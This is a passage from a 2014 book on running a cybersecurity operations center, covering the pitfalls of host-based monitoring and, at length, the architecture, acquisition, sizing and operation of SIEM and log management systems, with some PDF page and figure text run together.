Most SOCs have success with making their host monitoring packages part of the constituency server and desktop baseline Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center153 package, engineered and deployed by the respective groups in IT engineering and operations. Experience suggests, however, that systems in greatest need of robust monitoring and prevention tools are often the most fragile or most antiquated (such as mainframe platforms) and, therefore, poor candidates for most COTS host monitoring packages. ‚Aggressive host monitoring expands the responsibilities of the SOC. Setting the signature and protection policies of these is the SOC’s job because it is a defensive capability. System management, on the other hand, is the job of IT opera-tions, of which SOC may or may not be a member. If the SOC creates and pushes a sensor policy that interrupts or degrades constituency services, it will likely be hit very hard politically; repeated mistakes will often burn a lot of the SOC’s political capital and/or drive IT executives to reconsider continued use of said capabilities. When deploying active prevention capabilities on the host, SOCs are advised to pursue a formal CONOPS cosigned by IT operations seniors that gives the SOC timely control over signature policies and other monitoring changes, but keeps IT opera-tions and the help desk informed and involved. The SOC should carefully manage the resources it devotes to smooth operation of host monitoring suites and integration with constituency desktop and server baseline(s). Unfortunately, this may compel the SOC to not pursue HIDS/HIPS capabilities for non-mission–critical systems. ‚Consistent desktop and server baselines and centralized management are usually prerequisites to use of a host-based monitoring tool. Deploying and upgrading these tools requires administrative access on monitored systems. In the case of a Windows domain, this is relatively straightforward. In cases where this is not true (such as a very large or fragmented network), deployment and management will be much harder. Acquiring administrator privileges just to push the host client to targeted systems will be a challenge. It is often necessary to test integration of host monitoring packages across each server or desktop baseline. If constituency systems do not conform to a consistent baseline, testing and reliable operation will be much more difficult. Without careful advanced planning, an enterprise deployment of a HIDS/HIPS, an intellectual property loss pre - vention tool, or a user activity monitoring system can cause both system and service outages—from applications not starting to printing not working. ‚Multiple monitoring clients deployed on the same host often cause conflicts. No one tool does it all, meaning some SOCs leverage multiple independent host-based protecting technologies. In minor cases, one tool will not function correctly because it bumps into the other tool while sinking its teeth into the OS kernel. In extreme cases, 154 tools will identify each other as viruses and either deactivate one another or cause the system to quit functioning altogether, such as with a Windows blue screen of death (BSOD) [205]. Careful integration testing, along with an open dialogue with involved tool vendors prior to deployment, should help identify and mitigate these conflicts. ‚Host monitoring packages themselves may be avenues of attack or present blind spots in visibility, due to their level of privilege. If a remotely exploitable vulnerability is present in the management interface of a host monitoring tool, it actually introduces a new means for attackers to gain access or spread across the network. Therefore, tool vendors may be subject to additional scrutiny, as their products should enhance, not diminish, host security. Malware that exploits other programs with administrator privileges will be on equal footing with the host monitoring tool, possibly undermining or subverting it in a way that cannot be recognized by the SOC analyst. Events indicating normal opera-tion may continue to flow, but the HIPS or AV agent in question may be completely compromised. As a result, some host monitoring packages will build their own code base used for direct inspection of system components, memory, and storage instead of, or in com-parison to, relying on potentially subverted OS application programing interface for the same functions. Despite these challenges, virtually all internal distributed or centralized SOCs will pur - sue instrumentation at the host for a large portion of the constituency. The host offers so many unique opportunities for monitoring and active prevention that such host-based tools are often considered well worth the integration and maintenance challenges. 8.4 S ecurity Information and Event Management SIEM tools collect, aggregate, filter, store, triage, correlate, and display security-relevant data, both in real time and for historical review and analysis. SIEM workflow is targeted for the SOC, ranging from the ad hoc security team model to a hybrid centralized/distrib - uted model. Best-of-breed SIEM acts as a force multiplier, enabling a modest team of skilled analysts to extract cyber observables from large collections of data. This is a task not easily achievable through other means in a timely, coherent, or sustainable manner. Put another way, the purpose of SIEM is to take a large collection of data and turn it into information, thereby enabling the analyst to turn that information into knowledge that can be acted upon. By leveraging a robust, scalable architecture and featureset, SIEM can support a num- ber of compelling use cases:Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center155 ‚Perimeter network monitoring. Classic monitoring of the constituency for malware and external threats ‚Insider threat and audit. Data collection and correlation that allow for detection and monitoring for profiles of suspicious internal threat activity ‚APT detection. Piecing together disparate data indicating lateral movement, remote access, command and control, and data exfiltrationFigure 21 SIEM OverviewServers Routers, Switches IDS/IPS DNS & Directory Vulnerability Scanners Content Detonation Anti-virus Critical Applications Access ControlsData Sources Filter & NormalizeEnrich & CorrelateAlert Feeds Visualization Trend Analysis Detailed Reporting ResponseCyber Intel Fusion ForensicsSecurity StatusInformation Outputs Firewalls &Proxies 156 ‚Configuration monitoring. Alerting on changes to the configuration of enter - prise servers and systems, from password changes to critical Windows registry modifications ‚Workflow and escalation. Tracking an event and incident from cradle to grave, including ticketing/case management, prioritization, and resolution ‚Incident analysis and network forensics. Review and retention of historical log data ‚Cyber intel fusion. Integration of tippers and signatures from cyber intel feeds ‚Trending. For analysis of long-term patterns and changes in system or network behavior ‚Cyber SA. Enterprise-wide understanding of threat posture ‚Policy compliance. Built-in and customizable content that helps with compliance and reporting for laws such as the Federal Information Security Management Act. SIEM products have been on the market since the very early 2000s. They have proven their value in many industry enterprise SOCs. That said, many organizations struggle to realize the value proposition of SIEM, in large part due to some SIEMs’ historical complex - ity and fragility. Our focus in this section is to understand the capabilities and challenges in leveraging SIEM and to offer some strategies for success. For more information on SIEM and LM products, the reader may want to consider [206], [207], [208], [209], [210], [211], [212], [213], and the content linked from [214] and [215]. That said, less has been formally written about SIEM than about other CND tech - nologies. As a result, we will dwell on SIEM longer than other tools. There are a number of vendors who have products in the SIEM and LM market space— too numerous to list here. Instead of providing a comprehensive list, we will refer to the Gartner Magic Quadrant for SIEM , which is released annually. The latest, as of this book’s publishing, is from 2013, available at [216] . 8.4.1 V alue Proposition SIEM can be a big investment—often involving many millions of dollars in software and hardware acquisition, along with the months and years of work required to integrate it into SOC operations. With such a big investment, we should expect a big return. Some SOCs rec - ognize SIEM as little more than an aggregator of massive quantities of log data—this is only the beginning. In order to realize the full potential of SIEM, we must leverage it throughout the event life cycle, as shown in Figure 22. Figure 22 is essentially a portion of the SOC workflow from Figure 1 in Section 2.2 , turned on its side. As we move from the left to the right in this diagram, we narrow mil - lions of events to perhaps a handful of potential cases. In this process, SIEM moves from Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center157 automation on the left—through correlation and triage—to workflow support and enabling features such as event drill-down, case management, and event escalation on the right. Because SIEM acts as a force multiplier, fewer analysts can get more done in a given shift, assuming SIEM has been outfitted with the right data feeds and good content. In fact, one might conclude that a very mature SIEM implementation would actually reduce the number of analysts a SOC needs. This could not be further from the truth, however. Recall our statement from Section 2.7 : there is no replacement for the human analyst. In practice, as a SOC implements SIEM, it actually begins to recognize all of the activity in its logs that previously went unnoticed. So, instead of staffing levels going down, they actually go up, because the workload has increased. The best place for the SOC to be is on the right-hand portion of Figure 23 where a mature SIEM implementation enables a modest team of analysts to achieve what a team of a thousand unaided analysts could not. Even though we may have invested a few FTEs in maintaining and writing content for SIEM, we have more than made up for that with the capability and efficiencies gained. In order for the SOC’s SIEM installation to succeed, the SOC must make a sustained staffing investment to leverage it effectively.Figure 22 SIEM: Supporting the Event Life Cycle from Cradle to Grave • Add contextual data, remove false positives. • Determine if elevation is required. • Provide feedback for additional tuning. • Forward on for additional analysis. • Add incidents to final report. • Alert appropriate authorities. • Follow-through, drive to ground,feedback to lower tiers. • Collect and process raw events. • Determine base events of interest. • Tune & filter as needed. • Forward on for additional analysis. Response What should I do?Disposition What does it mean?Validation Did it happen? 100,000,000+ 10,000+ 10+ Filter and tune at the source and/orcollection device. Correlate and aggregate withbasic rules & filters. Complex rule sets & more advancedcorrelation techniques Actionable Events# of raw events per day 158 8.4.2 Architecture While each vendor brings unique features to market, we can identify some common architectural traits: ‚A software component processes event data from one or more end devices; this component is often known as an “agent” or “collector,” residing in one of two places: • On the device, where it has direct access to logs such as through comma-separated value (CSV) files or XML files • Remotely, where it either inter - rogates one or more devices for data (pull) or accepts data sent to it (push); the agent can gather this data through various native protocols such syslog, SNMP, Java Database Connectivity (JDBC), or in some cases, proprietary methods such as Microsoft Remote Procedure Call (e.g., in the case of Windows logs). ‚Data is collected by the agent, normalized, assigned a relative priority/criticality, and sent to SIEM, usually with controls in place (e.g., mutually authenticated SSL sessions) to ensure successful delivery and to avoid interception or corruption. ‚Data is collected at a central location. Data may be stored in a traditional RDBMS, a proprietary backend that supports high-speed queries and condenses on-disk storage, or through a distributed architecture that uses techniques similar to MapReduce [217] . ‚The SIEM can reduce data volume at several points in its architecture: • Aggregation may be applied where multiple events match a given set of criteria and only one is retained. This reduces storage requirements but diminishes available data for use at a later time. • Through the use of filters, either at the originating agent or the SIEM collection point, unwanted data can be eliminated due to unnecessary volume, repetition, or lack of value to the analyst. ‚The SIEM runs normalized data through a correlation engine in real time using rules targeting various network defense, insider threat, compliance, and other use cases in order to detect complex behaviors or pick out potential incident tip-offs. • Some SIEMs also allow the user to run correlation rules against historical data. • With proper normalization, prioritization, and categorization, SIEM can fully lever - age various data feeds in a device-agnostic manner.Maximize the Value of Technology Purchases SIEM MaturityStaffing & Value Perceived staffing requirement Actual staffing requirementValue of SIEM Figure 23 SIEM Value and SOC Staffing Versus Maturity T en Strategies of a World-Class Cybersecurity Operations Center159 • Events can have their priority raised or lowered on the basis of hits against correla - tion rules or comparison against vulnerability scan data. • Correlation rules can trigger various other user-configurable actions such as creat - ing a case within SIEM and attaching the event to it, running a script, or emailing to an analyst. ‚Traditionally, SIEM only brings in event-based data such as NetFlow, IDS alerts, and log data. It can point to other tools by allowing the analyst to fire off an external scriptable command from a right-click in the console, taking the analyst to a third-party tool that gathers vulnerability scan data, malware samples, host telemetry, or PCAP. ‚Some SIEMs actually have the ability to automate more complex actions resulting from correlation rules (e.g., deactivating a VPN connection or changing a firewall rule). Use of such features often has the same implications as putting an IPS into active prevention mode: poorly tuned correlation rules can lead to a DoS. ‚Raw and/or normalized data is stored to provide an audit trail and a knowledge base for investigations, pattern analyses, and trend reporting. ‚Analysts interact with the data through various output channels, either through real-time scrolling alerts, event visualizations (bar chart, pie chart, tree maps, event graphs, etc.), or through static means such as ad hoc or scheduled reporting. ‚The system provides some level of incident ticketing or case tracking, allowing users to acknowledge and escalate both alerts and cases. ‚SIEM users can view content created by other SIEM users whose access is controlled through groups and permissions, leveraging both vendor-supplied “stock” content as well as customized reports, rules, filters, dashboards, and other content. ‚Some best-of-breed SIEMs provide methods for users to move SIEM content in and out of the SIEM. This functionality may be further enhanced through online SIEM user communities where users can share and collaborate on content. ‚Best-of-breed SIEMs support multitiered, peered/clustered, or redundant deployment scenarios: • With tiering, one SIEM can forward some or all of its alert data to a parent SIEM, leveraging the same agent or collector framework that gathers data from end hosts. • With peering or clustering, each SIEM collects a different set of data, and when the user runs a query, the work is spread across multiple SIEMs, speeding query times. • In redundant scenarios, multiple SIEM instances can ingest the same data, poten - tially through “dual reporting” from one agent to multiple SIEMs, or through syn - cronization between disparate SIEM nodes. 160 • In any case, we can scale enterprise deployments beyond hundreds of millions of events per day while still providing meaningful data to the analyst, with reasonable query times. Figure 24 depicts several delivery options for data, along with load-balanced or redun - dant instances of a SIEM or LM appliance. In this example, NIDS, firewall data, and workstation data are being collected through protocols native to each device—JDBC, syslog, or Windows Remote Procedure Call. The agent can sit either on the system generating the data (as is shown with the domain con - troller) or, perhaps, remotely (as is shown with firewall data and IDS events). The point here is that a best-of-breed SIEM tool should provide multiple options for data delivery and collection, along with redundancy and failover. Maximize the Value of Technology Purchases FirewallsNetwork IDSesMonitored Network WorkstationsDomain ControllerAgent Appliance Software AgentLocal Pull(e.g., file read)Java/Web ClientSOC Enclave SIEM or Log Mgmt Appliance Redundant Load-balanced SIEMPush (e.g., syslog) Device-specificevent collection Device-specificevent collectionRemote Pull (e.g., JDBC) IDS MgmtServer Figure 24 Log Data Delivery Options and SIEM Tiering T en Strategies of a World-Class Cybersecurity Operations Center161 8.4.3 L og Management Collecting and querying events from a disparate set of systems or applications doesn’t always necessitate the features and cost associated with a full-blown SIEM. Oftentimes an LM system, which is usually simpler to set up and use, is a better choice. LM systems incorporate the aggregation, storage, and reporting capabilities found in SIEM, but with significantly streamlined interfaces, simplistic analytics, and little correlation. Splunk (the company) probably puts it best when it describes its LM capability as “Australian for grep” (a takeoff on the old Foster’s beer commercial), suggesting that Splunk (the product) is a supersized, more capable version of the familiar UNIX text search tool [218] . That said, many vendors describe their LM systems as having features found in a full-blown SIEM. Therefore, understanding where a given product falls in the SIEM and LM spectrum can sometimes be challenging. The SIEM architecture described above also describes the components of most LM solutions; however, we note the following differences: ‚LM systems usually lack a robust correlation engine, advanced long-term analytics, full-fledged workflow, and escalation support. ‚LM systems typically perform less preprocessing and normalization on data feeds, focusing instead on very fast ad hoc search capabilities. Robust correlation usually requires a SIEM to understand the meaning of different data elements in each event, because most LM systems don’t fully parse their data. Instead, they focus on quick, full-text search or specific-only feature extraction—truly robust correlation either isn’t possible, or requires much more work on the content author’s part. ‚LM systems, because they do not perform nearly as much preprocessing or postpro - cessing of data, can ingest it substantially faster, with a smaller code base. This is a very intentional design trade-off and, as we can see, has its pluses and minuses. In many regards, the two products are seen as complementary—most SOCs that imple - ment SIEM started with basic LM and grew their data ingest and query capabilities as their mission expanded. Many smaller SOCs, which don’t have millions of dollars to spend on SIEM, may choose to augment their native IDS consoles with an LM appliance, thereby getting some of the benefits of SIEM but at a fraction of the cost. In addition, it is common to see IT shops or NOCs deploy LM systems on their own, without a specific interest in CND. Finally, secu - rity organizations may choose to deploy LM systems for their own audit purposes. In either case, it helps if the SOC can pool resources with these groups to unify their data collection architectures. We mentioned this in several SOC capabilities in Section 2.4 . 162 In order to better summarize the difference between a full-blown SIEM and log aggre - gation devices, let’s look at some key qualities of both. While a given SIEM or LM product will diverge from Table 12 in one or two ways, we can make some generalizations: Table 12 SIEM and Log Aggregation Systems Compared What SIEM LM Data types Broad selectionBroad but sometimes more limited Data normalization Usually robust Usually simplistic DatastoreCommercial database or customUsually custom Correlation Robust Simple/none Real-time alerting capabilitiesExcellent Fair to none Historical trending capabilitiesGood to excellent Fair to good Ad hoc data query Fair to good Excellent Reports Good to excellent Good to excellent Event ingestion rate Fair to good Good to excellent Structured query speeds Fair to good Good to excellent Unstructured (full-text) query speedsNone to poor Good to excellent Client interfaceComplex/full-featured, Java, or Web 2.0-basedSimple to complex Web 2.0-based Form factorSoftware, virtual appliance, hardware applianceSoftware, virtual appliance, hardware appliance Typical cost (per instance) $50,000–$1,000,000+ $0–$100,000 1Maximize the Value of Technology Purchases 1 I n an effort to increase product exposure and competition, some LM vendors offer free or “nearly free” scaled-down software versions of their product. These offerings are, of course, not intended for major deployments as they usually have enterprise-focused features removed or are limited in terms of event volume, event retention, or both. T en Strategies of a World-Class Cybersecurity Operations Center163 While there is some overlap among network management, SIEM, and LM, SIEM covers several areas of functionality key to CND that LM systems do not. (See Figure 25.) One way to look at the difference between full-blown SIEM and LM systems is that SIEM can serve as the cornerstone of CND workflow, whereas a LM system cannot. Recall our discussion of SOC organizational models from Section 2.3.2 —there are many constitu - encies where CND is performed in an ad hoc manner (e.g., with a security team). These organizations have few resources and do not devote many (if any) full-time staff to CND. Thus, their needs are well satisfied by an LM appliance. Full-fledged SIEM requires care and feeding that only medium to large SOCs can provide. 8.4.4 Acquisition SIEM is probably the largest single purchase a SOC will make. Given its high cost, we will discuss SIEM tool acquisition. Before considering purchasing a SIEM tool, the SOC should consider the following baseline conditions: ‚The SOC has log aggregation tools already in place; its needs with respect to analytics and correlation exceed those that its current tools offer. ‚The SOC performs a substantial portion of its analysis duties on real-time data. ‚The SOC has identified multiple data feeds beyond IDS/IPS that it intends to feed to a SIEM in a sustained, real-time fashion. ‚The SOC engages in a sustained sensor management and tuning process with dedi - cated staff, thereby suggesting it is ready to take on SIEM management. Figure 25 Overlap Between SIEM, Network Management System, and LM Network Management Systems (NMS) Network Device Management Cyber Intel Fusion & Trending Real-time MonitoringFull-Fledged SIEM Capability Escalation & Case Management Insider ThreatAudit Log Management Products Situational Awareness ReportingNetwork Forensics 164 There are certainly exceptions to each of these conditions, but these hold true in the vast majority of cases where a SOC is contemplating SIEM acquisition. For further details on this, see page 11 of [219] . The next logical consideration in acquisition is requirements. Requirements are what drive acquisitions—business, functional, performance, system, user, operational, and the like. What does the SOC want to get out of the capability? What major use cases will it serve? Does its architecture support where the SOC will be in three or five years? These are just the beginning. As with any major acquisition, the SOC may want to consider a bake-off of two or three major SIEM vendors with an on-site pilot. In this case, all tools can be compared side by side against well-defined, repeatable, measurable requirements. SOC engineers may wish to leverage a scored, weighted, repeatable requirements comparison chart such as Kepner-Tregoe [220], especially if they have a large number of requirements or face a large acquisition. If vendors are working with a potential customer who is serious about the acquisition objectives, they will often be willing to grant a 60- or 90-day temporary license for such purposes. Even if it’s a pilot of just one product, this can be really helpful in driv - ing requirements and managing expectations. SIEMs can sometimes have fairly complex licensing schemes. Each vendor will likely base its product cost on one or more of the following: ‚Number of “master nodes” (e.g., managers that hold the “brains” of the SIEM, such as the correlation engine); sometimes measured in the number of CPU cores belonging to one or more master nodes ‚The amount of data ingested by the system, often measured in gigabyes per day, events per day, or sustained events per second ‚Number of users accessing the system (e.g., the number of “seats”) ‚Number of appliances purchased (in the case of virtual software or hardware appliances) ‚Number of devices sending data to the system and, possibly, the number of device types (Windows, UNIX syslog, database, application, etc.) ‚Additional features or add-ons such as content packs. In some cases, SIEM vendors will actually place hard limits in their devices on the basis of the license negotiated when the product was acquired. Operationally, this can be frustrating when a SOC hits a hard limit on event ingest rate, the number of devices it’s collecting from, or the amount of data retained by the system. Sometimes these are hard predictions to make when first buying a SIEM, so careful planning is key. The SOC should also plan for out-year costs as part of its TCO. Annual maintenance and support fees fre - quently measure between 20 and 30 percent of the initial acquisition cost.Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center165 8.4.5 C alibrating Expectations When getting started with a best-of-breed SIEM, it is sometimes challenging to know what to expect. In Table 13, we examine several key parameters of SIEM architecture and implemen - tation, giving some order of magnitude estimates of what is currently possible with commer - cial offerings. Table 13 Be st-of-Breed SIEM Characteristics Characteristic Discussion Deployment package—agentsAgents (also referred to as collectors or connectors) are usually available as software packages that can be installed either on the end device at a natural collection point (such as an IDS database or syslog server) or somewhere else (such as a freestanding agent system). While there is no such thing as a truly “agentless” architecture, best-of-breed SIEM will be respectful of resource demands placed on the hosts that originally generate or transmit event data. Software agents should have several configuration options, allowing administrators to optimize their CPU, memory, disk footprint, and multithreading. Administrators should be able also to optimize the load agents place on systems they pull data from (especially databases) (e.g., through how often they query for new events and how many events can be brought back at one time). Some vendors will also sell agent hardware agent/collector appliances, which can be eas - ier to manage. If this is the only choice, deployment options may be limited and the SOC may be stuck paying for more appliances than it needs. Regardless of specific vendor implementation, agents should provide robust support for current versions of popular data sources and interpret that data in its original (often propri - etary) format, preserving the richness and meaning of data as it was first generated. Deployment package—master node/managerMany SIEM vendors ship both a hardware appliance version of their product and a software version—either as a traditional piece of installable software or as a virtual appliance. Echo - ing trade-offs from NIDS in Section 8.2, there are pluses and minuses to either approach. In order to scale SIEM to really large installs, deploying as a software package on the SOC’s choice of enterprise-grade server hardware (usually Linux on x86-64) is almost a necessity. LM products may also come as software packages or virtual appliances, but vendors lean more toward hardware appliances since they fit into the themes of easy deployment, management, and support. This is changing somewhat as SOCs and large IT enterprises consider LM in a purely “cloud” architecture. Some SIEMs will split the master node function between two systems—one that does the correlation and another that hosts the datastore, possibly in an RDBMS. Others may bal-ance event storage and query across one or more nodes running a distributed “NoSQL” backend. Simpler implementations (e.g., those using a proprietary datastore) and virtually all LM products will couple the front-end manager together with the backend datastore on one physical system. The master node/manager should be properly multithreaded in order to support parallel query execution and efficient correlation. 166 Table 13 Be st-of-Breed SIEM Characteristics Characteristic Discussion Data retentionBoth SIEM and LM products are theoretically capable of storing many years or, per - haps, even decades of events. What usually prevents SOCs from retaining data this long is how long they’ve had the product in operation since its first iteration. Some SIEM and LM products don’t make data migration from one major upgrade to the next as easy as it really should be. In some cases, a SOC may choose to implement a new instance of a SIEM in an effort to start with a clean slate. This will become a greater issue as SOCs cycle through many generations of SIEM products, while increasingly looked to as the shop for long-term audit data retention. As products have matured and stabilized, the upgrade path for product software has pro- vided better support for retention of old event data, along with old custom content. Datastore sizeAt the time of this book’s writing, mature SIEM installations typically have datastores of from a few to perhaps 50 TB or more of storage. Going beyond the 10 or 20 TB mark challenges the storage capabilities of some products. Many vendors that incorporate proprietary backends advertise a 5:1 or 10:1 data compression ratio compared to a rela-tional database. Given loads of 100 million events per day, it is not unusual for an RDBMS to retain 60–90 days of data, whereas a proprietary compressed datastore of the same size may retain 6-12 months of events or more. Number of eventsA healthy SIEM implementation usually measures event ingest rates in the range of thou-sands of events per second, which equates to tens or hundreds of millions of events per day. As shown in Figure 9, above, this is the sweet spot for SIEM and LM. Although many SIEM vendors advertise ingest rates of 10,000 to 100,000 or more events per second, we must ask, What is the use case for bringing this much data into one place? Would the analysts be better served by breaking this up into tiers, and/or are we being too indiscrim-inant about what data we’re collecting? It is not unusual to see a SIEM or LM appliance hold many billions of events online; getting past the trillion event mark is rarer, however. Number of usersMost SIEM and LM vendors have built their products to deal with the typical pool of ana-lysts in a centralized or distributed SOC, which usually comes in around 10–50 people actually logged into and using the product at a time. Large SOCs that incorporate ele-ments of the distributed organizational model such as “forward deployed” analysts may run into scalability challenges, especially if those extra users have custom content and reports that further obligate system resources. It’s also worthwhile to note that geographic distribution of users shouldn’t have a major impact on console usability, provided reasonable bandwidth is available (i.e., they are not accessing the SIEM through a dial-up connection or a heavily saturated link). When a SOC wishes to support more than 40–50 concurrent users of a SIEM, it may look at a peered, clustered, tiered, or some other distributed approach to spread for different classes of use cases. For instance, a SOC may give power users their own SIEM instance, so expensive queries do not dominate SIEM system resources. This, then, provides an acceptable user experience for all members of the SOC.Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center167 Table 13 Be st-of-Breed SIEM Characteristics Characteristic Discussion Number of devicesIn reality, this should not be a limiting factor (beyond any artificial limits due to the licens-ing models) either at the collector or master node. A SIEM should be able to handle tens or even hundreds of thousands of end devices across its various data feeds (which is not uncommon when instrumenting a large enterprise). The SIEM should be able also to recognize multiple data feeds from the same end point (e.g., AV, Windows security event logs, and vulnerability scans). Well-architected agent software should be able to cope with many devices (perhaps tens of thousands) whose aggregate event flow may sustain more than a thousand events per second. Query responseMost questions an analyst will ask of a SIEM or LM appliance are expected to come back in a matter of seconds or minutes. Given our typical scenarios where we collect many millions of events per day, this may mean well-formed queries can go back several days with RDBMS backends, or perhaps several weeks with proprietary backends. If, for instance, we search for an IP over a day of data and don’t get the answer back in a minute or two, we may want to examine our data ingest policies or datastore optimizations. More complex questions, like long-term trending, anomaly detection, and unoptimized queries that trigger the equivalent of a full table scan, may take a lot longer to execute. In these cases, content must be carefully scheduled so as to not dominate system resources, especially during core business hours. Most historical assumptions about SIEM and LM performance are based on spinning hard disk backends and RDBMS–style datastores. With solid state storage and MapReduce query engines, new opportunities for asking much more complex questions of data, over longer periods of time, are possible. SOCs looking for advanced long-term analytics or query capability to support large user loads may (1) consider SIEM backends that leverage some or all of their event storage on SSD, or (2) leverage cloud technologies that leverage MapReduce techniques for scaling. Most SIEM vendors that provide hard numbers about system performance express them in event ingest rates. As we’ve discussed, query performance is often much more of a factor and can be at odds with ingest rate. Ultimately, the SOC is best able to make an informed purchasing decision with regard to query performance if it is able to work with the product hands-on, most favorably in a preacquisition on-site pilot with live data and real analysis. Again, these metrics are provided as a rule of thumb to help SIEM architects and main - tainers gain some context for what is reasonable to expect of their implementations. As this book was written in 2014, the reader may want to factor in general growth for IT systems in subsequent years. 8.4.6 O bservations and Tips for Success As with any other tool discussed in Section 8, an entire book could probably be writ - ten on SIEM. Our emphasis here is on sound decision making from an architectural and 168 operational perspective. As a result, we will round off our conversation with some lessons learned. These takeaways are written as they apply to SIEM but also have strong bearing on LM tools. ‚Security and network management tools are not interchangeable. SIEM and network management systems (NMSes) have many similar architectural features, such as the ability to aggregate lots of log and alert data into one place, process it, and visualize it. The confidence we can place in logs and alerts for security products tends to be less than in other areas of IT such as networking. When a router says its fans are spinning slowly and a switch says a port is down, that is almost cer - tainly the case. When an IDS says, “You’ve been hacked,” chances are everything is okay. SIEM has a rich feature set that supports the workflow necessary to drive events to ground, evaluating whether a given alarm is a true or false positive. NMSes lack many of these security-specific features; enterprises seeking to maximize value for network and security management are, therefore, advised against trying to combine network management and CND workflows into one system. ‚The best SIEMs were built from the ground up as SIEMs. Many LM and SIEM products in today’s marketplace were first architected and coded with a very narrow scope of features and use cases, compared to what they currently advertise. Just as it is important to lay a strong foundation for a tall skyscraper, a good SIEM product is built with a scalable backend, robust correlation engine, and extensible data-ingest capabilities. Some SIEM products lack a strong foundation and, as a result, have run into problems as developers bolt on more and more features. A poor foundational architecture can manifest itself through poor ingest rates, slow query speed, fragmented workflow, lack of key use cases, poor or no real-time visualization, lackluster user interface capabilities, and clunky reporting. When a SOC is acquiring a SIEM, it is important to look for features that suggest the product was built as an enterprise-grade SIEM from the start, not as a one-off or homegrown project that later turned into a commercial offering. ‚Consider the whole package. When contemplating an LM or SIEM purchase, many SOCs are narrowly focused on one criterion—“Can the product ingest data type X?” This is probably most analogous to buying a car solely based on what tires it comes with or what color paint it has. These are certainly important features, but (1) they can be changed by the owner at modest expense, and (2) there are vastly more important considerations such as speed, reliability, and operator experience.Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center169 Most good SIEMs can accept almost any possible security-relevant data feed, either out of the box or through an agent software development kit (SDK) of some sort. What’s not important is, “Can the SIEM ingest my data?” That’s a given; what’s important is, “What can I do with the data once my SIEM has vacuumed it up?” This means everything from real-time dashboards to correlation to reporting and escalation. ‚You get what you pay for. SIEMs are often very expensive, but there’s a reason for this; building an enterprise- grade product that can ingest and store billions of events from thousands of devices, support dozens of concurrent user queries, and streamline their workflow and interaction cannot be done in a weekend. Many SIEM products were originally built by small startups that sell to medium and large businesses and government organiza-tions, of which there are a finite number. Many LM products exist to fill the lower cost market space and therefore should not be considered as true SIEMs. In many cases, a SIEM with a narrow feature set or a simple LM appliance is the best choice, not just from a cost perspective but also in terms of learning curve. SOCs that have a smaller constituency and no plans to inte - grate a large SIEM capability may be best served by focusing on lower cost LMs. Conversely, SOCs that start with a low-cost SIEM face the biggest financial and politi - cal hurdle when the product doesn’t live up to original expectations or growing mis - sion demands, forcing the SOC to jettison the initial product and time investment in favor of a more robust, more expensive offering. Whereas SOCs’ network IDS or vulnerability scanning needs can be met with world-class FOSS offerings (Snort and Nessus, respectively), fewer options exist for FOSS SIEM. While some exist (e.g., Open Source Security Information Management [OSSIM] [221]), consider the complexity in building and maintaining a robust SIEM— not to mention a growing portfolio of data types and agents. Furthermore, most orga-nizations in search of a true enterprise-grade CND data aggregation and workflow tool have deep pockets. In the case of Snort, a very large user base is able to drive continual improvement to a complex codebase. SIEM, by comparison, has equal or greater complexity but fewer likely customers. That said, there are some FOSS tools (e.g., S/GUIL) that succeed at supporting real-time CND analysis with multiple data flows, in part because they don’t attempt to take on the entire SIEM feature set. FOSS tools that focus on LM without the complexity of full-fledged SIEM also have the opportunity to offer compelling features and performance (e.g., Logstash [222] and Kibana [223]). 170 ‚A day to install; a year to operationalize. The initial setup of SIEM is largely straightforward and can usually be accomplished in a day or two for a single enterprise-grade instance. In a few weeks or months, the first few data feeds can be hooked up and tuned, with content created that provides quick wins. However, outfitting the system with the right data, tuning it, writing content for the constituency, and integrating it into operations altogether takes a year or more— for political and process reasons, not technical reasons . In many cases, getting data owners to provide reliable, sustained audit log feeds can be a politi - cally arduous process. As a rule of thumb, the more robust the SIEM, the steeper the learning curve—not because the interface may be clunky (although this is sometimes the case), but because it takes even the smartest analysts time to understand the fundamentals of the tool and what it is capable of. A college CS student can learn the fundamentals of C or Java in several weeks; becoming truly proficient in a language takes much longer. Essentially, the same is true of SIEM. One must also consider the time commitment for integrating the features of SIEM into SOC operations (e.g., user training and writing SOPs). Many successful SIEM implementations worked because they had a champion within the SOC who understood the technology, invested the time necessary to get data feeds working, and adapted content to the constituency environment. Consider this—for every neat whiz-bang use case shown by the vendor in the product demo, it is likely that some administrator or analyst will have to write or tweak that feature before use. This is the case for every SIEM product . Out-of-the-box content serves as a good start for most SOCs, but the best content is often written from scratch. ‚Each part of the SOC will use SIEM differently. Each work center in the SOC has different uses for the data and features SIEM can provide. Tier 1 will be interested in real-time triage of data and concrete use cases they can write SOPs for and put in front of junior analysts. Tier 2 will likely be inter - ested in gathering as many details about a potential incident as possible, meaning they will run free-form queries over long periods of time. Those responsible for attack sensing and warning or trending activities will likely fuse various sources of cyber intel and tippers into the tool, repeatedly running long, computationally expensive queries. Managers will be interested in case management and metrics from the tool, validating that their respective part(s) of the SOC are following procedures, following up on anomalous activity when the system catches it, and not letting cases languish in the system.Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center171 Each of these parties has an equally valid need for training on the tool, well-written content to fulfill their mission role, and performance that meets their ops tempo. Many SOCs meet these needs by designating a SIEM “champion” as a “content man - ager” similar to that of an IDS tuner. Moreover, each SOC section will have overlap - ping needs for the tool, and it is important that one person ensures the content and that queries are effectively consolidated and deduplicated. While regular maintenance such as database tuning, agent deployments, patching, upgrades, and the like are all important, having dedicated staffing for SIEM content development and management is key to SIEM success. ‚Many parties outside the SOC—security officers, sysadmins, and CISOs—can directly access raw, security-relevant data with SIEM. Should they? There are many stakeholders in the constituency who have a legitimate need to work with security logs on a regular basis (e.g., security has to perform system auditing). SIEMs can really help with this. However, before a SOC invites everyone in, it needs to consider three issues: First, does the SOC want someone outside the SOC finding an intrusion before it does? More than a few CISOs have expressed a desire to have a real-time view into the security status of their enterprise. Consider, however, if the CISO sees something in the console and picks up the phone before the SOC has all the answers or has even noticed what the CISO is looking at—not a good position to be in. In many cases, the CISO or CIO is just as happy getting weekly or month roll-ups of significant events or weekly metrics. Or, at the very least, the SOC can be trusted to call when something bad is actually happening. Second, not everyone needs access to all the data. If the SOC does open up access to external parties, it is very likely they only need to see a 